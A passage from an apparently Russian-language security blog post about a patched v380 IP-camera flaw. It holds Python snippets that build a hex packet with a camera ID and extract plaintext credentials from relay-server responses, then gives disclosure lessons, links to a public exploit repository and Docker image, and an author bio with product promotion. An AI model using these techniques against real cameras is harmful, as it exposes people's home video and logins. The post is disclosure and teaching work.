# String ID → Hex camera_id = "19348439" hexID = bytes(str(camera_id), 'utf-8').hex() # Result: "3139333438343339" # Формирование пакета из hex строк data = 'ac000000f3030000' + hexID + '2e6e766476722e6e6574...' data = bytes.fromhex(data)
Каждый байт представлен двумя hex символами. 'ac' → байт 0xAC (172 в decimal).
Struct unpacking для network byte order:
import struct # Извлекаем unsigned short (2 байта) в little-endian relay_port = struct.unpack('<H', data[50:52])[0] # '<H' означает: # < = little-endian byte order # H = unsigned short (2 bytes)
Network protocols часто используют different byte orders:
Network byte order обычно big-endian
x86/x64 системы little-endian
Нужно знать спецификацию протокола
Поиск null-terminated strings:
def extract_string(data, start_index): """Извлекает C-style string""" # Ищем null byte начиная с start_index end_index = data.find(b'\x00', start_index) # Извлекаем и декодируем UTF-8 return data[start_index:end_index].decode('utf-8').strip() # Использование: username = extract_string(data, 0x08) # offset 8 password = extract_string(data, 0x3a) # offset 58
v380 использует null-terminated strings как в C. Конец строки обозначен байтом 0x00.
Fixed offset extraction:
Когда структура пакета известна, используем фиксированные offsets:
# Структура пакета relay server response: # Bytes 1-9: Device ID (8 bytes ASCII) # Bytes 33-X: Relay hostname (null-terminated) # Bytes 50-52: Relay port (2 bytes little-endian) device_id = data[1:9].decode('utf-8') relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8') relay_port = struct.unpack('<H', data[50:52])[0]
Это reverse engineering — анализ трафика в Wireshark, определение где какие данные, документирование структуры.
Заключение
История уязвимости v380 — это урок о важности security в IoT устройствах. Миллионы устройств, установленных в домах по всему миру, были уязвимы из-за базовых ошибок в дизайне протокола: plaintext credentials, незащищенные relay-серверы, отсутствие шифрования.
Но это также история о том, как responsible disclosure работает. Вместо эксплуатации уязвимости или продажи эксплойта, я связался с производителем. Мы совместно закрыли проблему, защитив миллионы пользователей. Теперь, когда патч развернут, код открыт для образовательных целей.
Что должны вынести разработчики IoT:
Security нельзя добавить потом, это fundamental design decision
Plaintext credentials — недопустимо в 2025 году
End-to-end encryption обязательна для sensitive data
Regular security audits и penetration testing критичны
Responsible disclosure programs должны быть у каждой компании
Что должны вынести security researchers:
IoT — огромное поле для исследований
Большинство IoT устройств имеют серьезные уязвимости
Responsible disclosure — правильный путь
Публикация кода после патча помогает community
Что должны вынести пользователи:
Обновляйте firmware регулярно
Используйте сильные уникальные пароли
Сегментируйте IoT устройства в отдельную сеть
Рассмотрите VPN для защиты IoT трафика
Репозиторий с полным кодом эксплойта открыт для изучения: github.com/Romaxa55/v380_cams_hack
Security research продолжается. Я планирую проанализировать другие популярные IoT бренды и надеюсь найти их более защищенными, чем v380 до патча.
Ресурсы и дальнейшее чтение
Исходный код эксплойта:
Docker image:
ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest
IoT Security стандарты и best practices:
OWASP IoT Top 10: owasp.org/www-project-iot-top-10/
IoT Security Foundation: www.iotsecurityfoundation.org/
NIST Cybersecurity Framework: www.nist.gov/cyberframework
Responsible Disclosure:
Google Project Zero Disclosure Policy
HackerOne Best Practices
ISO/IEC 29147 Vulnerability Disclosure
Защита IoT устройств:
Router-level VPN setup guides
Network segmentation tutorials
Modern encryption protocols (VLESS, Reality)
Об авторе
Я security researcher и разработчик, специализирующийся на reverse engineering и анализе IoT устройств. Последние пять лет работаю над проектом MegaV VPN — приложением для безопасности, использующим современные технологии военного шифрования (VLESS, Reality). Моя статья о протоколе VLESS на Habr набрала более 146,000 просмотров.
Мой путь в security начался с curiosity: как работают вещи, которые нас окружают? IoT устройства особенно интересны, потому что они повсюду, доверяются миллионами людей, но часто имеют фатальные уязвимости.
Уязвимость v380 я обнаружил во время более широкого исследования безопасности IP-камер. Анализировал трафик разных брендов в Wireshark и был шокирован, увидев plaintext credentials в пакетах v380. Это побудило создать proof-of-concept и связаться с производителем.
Я верю в responsible disclosure и open source security research. Когда уязвимости закрыты, знания должны быть доступны community для обучения и предотвращения похожих ошибок в будущем.
Работа с китайскими разработчиками:
Хочу отдельно отметить профессионализм команды v380. Несмотря на языковой барьер и разницу в часовых поясах, мы наладили эффективную коммуникацию и совместно закрыли уязвимость. Я глубоко уважаю китайскую культуру, их ценности и подход к решению проблем. Китайские разработчики продемонстрировали ответственность и быстроту реагирования, что заслуживает высокой оценки.
Текущие проекты и партнеры: [реклама удалена мод.]
MegaV VPN (megav.app) — приложение для безопасности с современными технологиями военного шифрования: VLESS, Reality, VMess. Более 146K просмотров статьи на Habr
AppLikeWeb — партнерский стартап по конвертации веб-сайтов в нативные мобильные и desktop приложения (Android, iOS, Windows, macOS, Linux)
PinVPS — партнерский провайдер с дата-центрами в Испании. AMD Ryzen процессоры, NVMe SSD, отличное соотношение цена/производительность
VPN Protocol Benchmarks — бенчмарки производительности современных VPN протоколов
VLESS Configs — коллекция production-ready конфигураций для V2Ray/Xray
IoT Security Research — анализ безопасности популярных IoT устройств
Связь:
MegaV VPN: megav.app
Email: support@megav.store
Если вы исследователь безопасности, интересуетесь IoT, VPN технологиями или разработкой мобильных приложений — буду рад обсудить и обменяться опытом.
Disclaimer: Этот материал предоставлен исключительно в образовательных целях. Использование описанных техник против систем без разрешения владельцев незаконно. Автор и репозиторий не несут ответственности за неправомерное использование информации.
